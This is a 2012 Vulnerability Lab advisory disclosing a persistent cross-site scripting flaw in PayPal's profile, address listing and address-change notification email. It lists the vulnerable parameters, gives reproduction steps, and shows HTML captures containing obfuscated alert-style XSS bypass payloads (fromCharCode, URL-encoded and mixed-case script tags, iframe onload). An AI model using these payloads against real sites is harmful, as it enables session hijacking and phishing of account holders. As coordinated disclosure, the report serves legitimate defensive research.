Title:
======
Paypal BugBounty #9 - Persistent Web Vulnerabilities


Date:
=====
2012-10-02


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=646


VL-ID:
=====
646


Common Vulnerability Scoring System:
====================================
7.2


Introduction:
=============
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money 
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, 
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined 
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified 
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your 
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary 
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it 
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency 
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United 
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, 
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across 
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers 
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation 
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the official Paypal ecommerce website application.


Report-Timeline:
================
2012-07-06:  Researcher Notification & Coordination
2012-07-06:  Vendor Notification
2012-08-15:  Vendor Response/Feedback
2012-09-12:  Vendor Fix/Patch
2012-10-02:  Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A persistent input validation vulnerability is detected in the official Paypal ecommerce website content management system (Customer/Pro/Seller).
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent) of the paypal web service. 
The vulnerability is located in the company profile input fields with the bound vulnerable address_id, details (mail) & companyname parameters. 
The bug affects the important user profile listing, the address listings & security notification (mail). The persistent vulnerability is also 
located in the mail security notification (delete address) module with the bound vulnerable companyname parameters.  The vulnerability can be 
exploited by remote attackers with low required user inter action and privileged Customer/Pro/Seller account. Successful exploitation of the 
vulnerability can lead to session hijacking (customers), account steal via persistent web attack, persistent phishing or stable (persistent) 
context manipulation in all sections/module were the vulnerable companyname  get displayed.

Vulnerable Type(s):
                          [+] Customer/Pro/Seller Accounts


Vulnerable Section(s):
                          [+] Mein Konto > Mein Profil > Addresse hinzufügen oder Bearbeiten
                          [+] Register > Account > Details


Vulnerable Module(s):
                          [+] Companyname (Geschäftsinhaber)


Vulnerable Parameter(s):
                          [+] details
                          [+] address_id
                          [+] companyname


Affected Section(s):
        [+] User Profile - Geschäftsinhaber - User Profil (Mein Konto) Listing
        [+] Adresse Profil -  Listing
        [+] Security Notification Mail 


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with Customer/Pro/Seller Account & low required user inter action.
For demonstration or reproduce ...


Review: User Profile - Geschäftsinhaber - User Profil (Mein Konto) Listing (Script Code Execution)

<div class="details">
<span>"><[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<])' <<="" span="">
<div class="small secondary">Unternehmenstyp, URL und mehr 
bearbeiten...</div>
</div>  


Review: Adresse Profil -  Listing  (Script Code Execution)

<div id="messageBox"></div><div id="main"><div class="layout1"><div class="datatable"><table id="viewtable" summary="street addresses" 
cellspacing="0"><colgroup><col width="35%"><col width="25%"><col width="*"></colgroup><thead><tr><th>Adresse</th><th>Zugehörige Kreditkarten
</th><th>Status</th></tr></thead><tbody><form method="post" action="https://www.paypal.com/de/cgi-bin/webscr?cmd=_profile-address-submit&
dispatch=5885d80a13c0db1f8e263663d3faee8d8494db9703d295b4a2116480ee01a05c" class=""></form><tr><td><input name="return" value="" type="hidden">
<input name="address_id" value="Qf3ntYQLgs25E1DBKd3un5JfZvip1l3kwgj2iBMne1UpaAD8yEcic32OZN0" type="hidden"><input name="card_count" value="0" 
type="hidden"><span class="emphasis">"><[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<])' <<br="">



PoC: Mail Security Notification (Sie haben Ihre Adresse geändert)

Manually Reproduce ...
1. Create an account with script code as companyname input field
2. Switch after registration with the account to the Mein Konto > Mein Profil > Addresse hinzufügen oder Bearbeiten module
3. Click the delete/entfernen button of the account with the script code as companyname
4. A mail got send normally with the following context ...

Sie haben Ihre Adresse geändert
 
Guten Tag, Evolution Security!       // Companyname (Evolution Security)
Wir möchten nur kurz bestätigen, ...

5. After the inject the get parsed in all instances of the application since it will be automatic used by the mail notification
6. The mail notification (security reason) only parse the address values and details context
7. The companyname is outside of the parsed generated template context, which results in the persistent execution of the malicious script code (js|html)
8. Reproduced ...

Sie haben Ihre Adresse geändert</span></h2></td></tr></tbody></table>
<p>Guten Tag, >"<[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<]>!</p>Wir möchten nur kurz bestätigen, dass Sie eine Adresse in Ihrem 
PayPal-Konto geändert haben.<h3>Hier die Details:</h3>
<!--[if gte mso 9]><style>.simpleSummaryTable {cell-spacing:5px !important; font:0.75em Verdana, Arial, Helvetica, sans-serif 
!important;}</style><![endif]-->


Review: Mail Security Notification (Sie haben Ihre Adresse geändert)

<tbody><tr valign="top"><td colspan="3"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr valign="top"><td><a 
href="https://www.paypal.com/de"><img src="http://images.paypal.com/en_US/i/logo/logo_emailheader_113wx46h.gif" alt="PayPal" border="0">
</a></td></tr><tr><td><img alt="" src="http://images.paypal.com/en_US/i/scr/pixel.gif" border="0" height="10" width="1"></td></tr><tr><td>
</td></tr></tbody></table></td></tr><tr><td colspan="3"><img src="http://images.paypal.com/en_US/i/scr/
scr_emailTopCorners_580wx13h.gif" style="vertical-align: bottom;" alt="" border="0" height="13"></td></tr><tr><td style="background: 
url("/i/scr/scr_emailLeftBorder_13wx1h.gif") repeat-y scroll left center transparent; border-left: 1px solid rgb(221, 221, 221);" 
width="12"><img src="http://images.paypal.com/en_US/i/scr/pixel.gif" alt="" border="0"></td><td class="contentArea" style="width: 530px; 
word-wrap: break-word; padding: 12px; margin: 0px;" width="530"><table style="" width="100%"><tbody><tr><td><h2><span style="font-weight: 
bold; color: rgb(200, 128, 57); font-size: 15px;" class="outlookFix">Sie haben Ihre Adresse geändert</span></h2></td></tr></tbody></table>
<p>Guten Tag, >"<[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<]>!</p>Wir möchten nur kurz bestätigen, dass Sie eine Adresse in Ihrem 
PayPal-Konto geändert haben.<h3>Hier die Details:</h3>
<!--[if gte mso 9]><style>.simpleSummaryTable {cell-spacing:5px !important; font:0.75em Verdana, Arial, Helvetica, sans-serif 
!important;}</style><![endif]-->
<table border="0" cellpadding="5" cellspacing="0" class="simpleSummaryTable" style="font:1em Verdana, Arial, Helvetica, sans-serif; 
border:1px solid #eee;margin-top:10px;border-right:0;margin-bottom:20px;" width="100%"><tr><th style="background-color:#eee; 
text-align:right; font-weight:normal; color:#333; margin:0px" width="180">Name:</th><td style="color:#333;" width="350">Evolution 
Security</td></tr><tr><th style="background-color:#eee; text-align:right; font-weight:normal; color:#333; margin:0px" 
width="180">Adresse:</th><td style="color:#333;" width="350">s<br/><html><body> <
button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108, 101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,
105,112,116,105,1 10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr om.Char.Code</button&
gt;</body></html> %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67
%32%22%29%3C%2F %73%63%72%69%70%74%3E  >"<ScriPt>ALeRt("xssOBFSbypass")</scriPt>
"><iframe src=a onload=alert("HI") <<br/>-1' <html><body> <
button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108, 101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,1
14,105,112,116,105,1 10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));"
>String:fr om.Char.Code</button></body></html>  %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43
%72%6F %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F %73%63%72%69%70%74%3E  >"<ScriPt>ALeRt("xssOBFSbypass")&
lt;/scriPt>  "><iframe src=a onload=alert("HI") <<br/>Deutschland<br/></td></tr></table>
<p>Wenn Sie Ihre Kreditkarte bei dieser Adresse registrieren oder die Adresse als Standardadresse angeben möchten, loggen Sie sich in 
Ihr PayPal-Konto ein, und klicken Sie auf "Mein Profil".</p>Wenn Sie diese Änderung nicht vorgenommen haben, <a href="
https://www.paypal.com/de/cgi-bin/helpscr?cmd=_help&t=escalateTab">lassen Sie es uns umgehend wissen</a>. Es ist wichtig, uns 
Bescheid zu geben, damit wir sicherstellen können, dass niemand ohne Ihr Wissen auf Ihr Konto zugreift.<p>Viele Grüße<br/>Ihr Team 
von PayPal</p></td><td width="12" style="background:url(/i/scr/scr_emailRightBorder_13wx1h.gif) left repeat-y;border-right:1px solid #ddd;
"><img src="http://images.paypal.com/en_US/i/scr/pixel.gif" border="0" alt=""/></td></tr><tr><td colspan="3">
<img height="13" src="http://images.paypal.com/en_US/i/scr/scr_emailBottomCorners_580wx13h.gif" border="0" alt=""/></td></tr>
</table><table border="0" cellpadding="0" cellspacing="0" id="emailFooter" style="padding-top:20px;font:10px Verdana, Arial, Helvetica, 
sans-serif;color:#333;" width="580"><tr><td><div class="footerLinks" style="margin: 5px 0; padding: 0;"><a target="_new" 
href="https://www.paypal.com/de/cgi-bin/helpweb?cmd=_help">Hilfe-Center</a><span style="color:#ccc;"> | </span><a 
target="_new" href="https://www.paypal.com/de/security">Sicherheits-Center</a></div><p>Bitte antworten Sie nicht auf diese 
E-Mail. E-Mails an diese Adresse werden von uns nicht gelesen. Um mit einem Mitarbeiter unseres Kundenservice zu sprechen, loggen Sie sich in Ihr 
PayPal-Konto ein und klicken Sie unten auf "Kontakt".</p><p>Copyright © 2012 PayPal. Alle Rechte vorbehalten.<br/><br/>PayPal 
(Europe) S.à r.l.et Cie, S.C.A.<br/>Société en Commandite par Actions<br/>Sitz: 22-24 Boulevard Royal, L-2449 Luxemburg<br/>RCS 
Luxemburg B 118 349</p><img height="1" width="1" src="https://102.112.2O7.net/b/ss/paypalglobal/1/G.4--NS/123456?pageName=system_email_PP006" 
border="0" alt=""/><p class="xptFooter ppid">PayPal-E-Mail-ID PP006</p></td></tr></table></div></body>
</html>
</body>
</html>
</iframe></p></td></tr></tbody>


Solution:
=========
Restrict the companyname input value and parse with an exception handling or secure filter mask. Parse the companyname, addressid & 
details output of the security mail notification to prevent script code injects/executions.


Risk:
=====
The security risk of the persistent script code inject vulnerability is estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
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